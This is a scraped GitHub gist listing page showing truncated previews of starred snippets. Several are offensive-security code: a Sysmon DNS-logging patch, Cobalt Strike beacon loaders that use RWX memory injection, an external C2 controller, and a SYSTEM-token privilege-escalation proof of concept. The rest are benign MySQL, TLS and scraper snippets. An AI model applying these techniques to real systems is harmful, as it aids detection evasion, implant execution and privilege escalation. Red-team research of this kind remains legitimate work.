Skip to content

Instantly share code, notes, and snippets.

View wyrover's full-sized avatar

wyrover wyrover

297 followers · 848 following
View GitHub Profile
@xpn
xpn / dns_sysmon_patch.c
Last active May 4, 2022 15:47
#include <iostream>
#include <Windows.h>
#include <WinDNS.h>
// Pattern for hunting dnsapi!McTemplateU0zqxqz
#define PATTERN (unsigned char*)"\x48\x89\x5c\x24\x08\x44\x89\x4c\x24\x20\x55\x48\x8d\x6c"
#define PATTERN_LEN 14
// Search for pattern in memory
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen) {
@xpn
xpn / clr_via_native.c
Created April 11, 2018 21:34
A quick example showing loading CLR via native code
#include "stdafx.h"
int main()
{
ICLRMetaHost *metaHost = NULL;
IEnumUnknown *runtime = NULL;
ICLRRuntimeInfo *runtimeInfo = NULL;
ICLRRuntimeHost *runtimeHost = NULL;
IUnknown *enumRuntime = NULL;
LPWSTR frameworkName = NULL;
@xpn
xpn / external_client_filetransfer.cpp
Created March 28, 2018 22:10
#include "stdafx.h"
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char *payload, DWORD len) {
HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);
@xpn
xpn / external_client.cpp
Created March 28, 2018 22:06
#include "stdafx.h"
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char *payload, DWORD len) {
HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);
@xpn
xpn / external_controller.py
Last active March 9, 2023 03:03
import socket
import struct
import time
class ExternalC2Controller:
def __init__(self, port):
self.port = port
def encodeFrame(self, data):
return struct.pack("<I", len(data)) + data
@xpn
xpn / getsystem_parent.cpp
Created November 20, 2017 00:11
A POC to grab SYSTEM token privileges via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
#include "stdafx.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR Privilege, BOOL bEnablePrivilege) {
TOKEN_PRIVILEGES tp;
LUID luid;
TOKEN_PRIVILEGES tpPrevious;
DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
@siteslave
siteslave / node_mysql.js
Last active March 24, 2017 06:51
require('dotenv').config();
var mysql = require('mysql');
let hosPool = mysql.createPool({
host: process.env.HOS_HOST,
user: process.env.HOS_USER,
password: process.env.HOS_PASSWORD,
database: process.env.HOS_DATABASE,
port: process.env.HOS_PORT
});
@6174
6174 / golang-tls.md
Created December 12, 2016 06:33 — forked from denji/golang-tls.md
Simple Golang HTTPS/TLS Examples
Generate private key (.key)
# Key considerations for algorithm "RSA" ≥ 2048-bit
openssl genrsa -out server.key 2048
    
# Key considerations for algorithm "ECDSA" ≥ secp384r1
# List ECDSA the supported curves (openssl ecparam -list_curves)
openssl ecparam -genkey -name secp384r1 -out server.key
@xpn
xpn / tc_ioctl_open_test_poc.py
Last active December 21, 2019 07:27
#!/usr/bin/env python
import sys
from ctypes import *
FILE_DEVICE_UNKNOWN = 0x00000022
METHOD_BUFFERED = 0
FILE_ANY_ACCESS = 0
TC_MAX_PATH = 260
@Franco-Poveda
Franco-Poveda / movieScraper.js
Created January 14, 2016 14:36
Sample scraper using cheerio.js to get the next movies premiere from Cinemark Argentina, and send a PUSH campaign using the ViaCelular API every Wednesday.
var request = require('request');
var cheerio = require('cheerio');
var schedule = require('node-schedule');
var trim = require('trim');
var names =[],
dates =[];
j = schedule.scheduleJob('0 20 * * 4', function(){
request('http://www.cinemark.com.ar/ajaxCartelera.aspx?filter=Proximos', function (error, response, html) {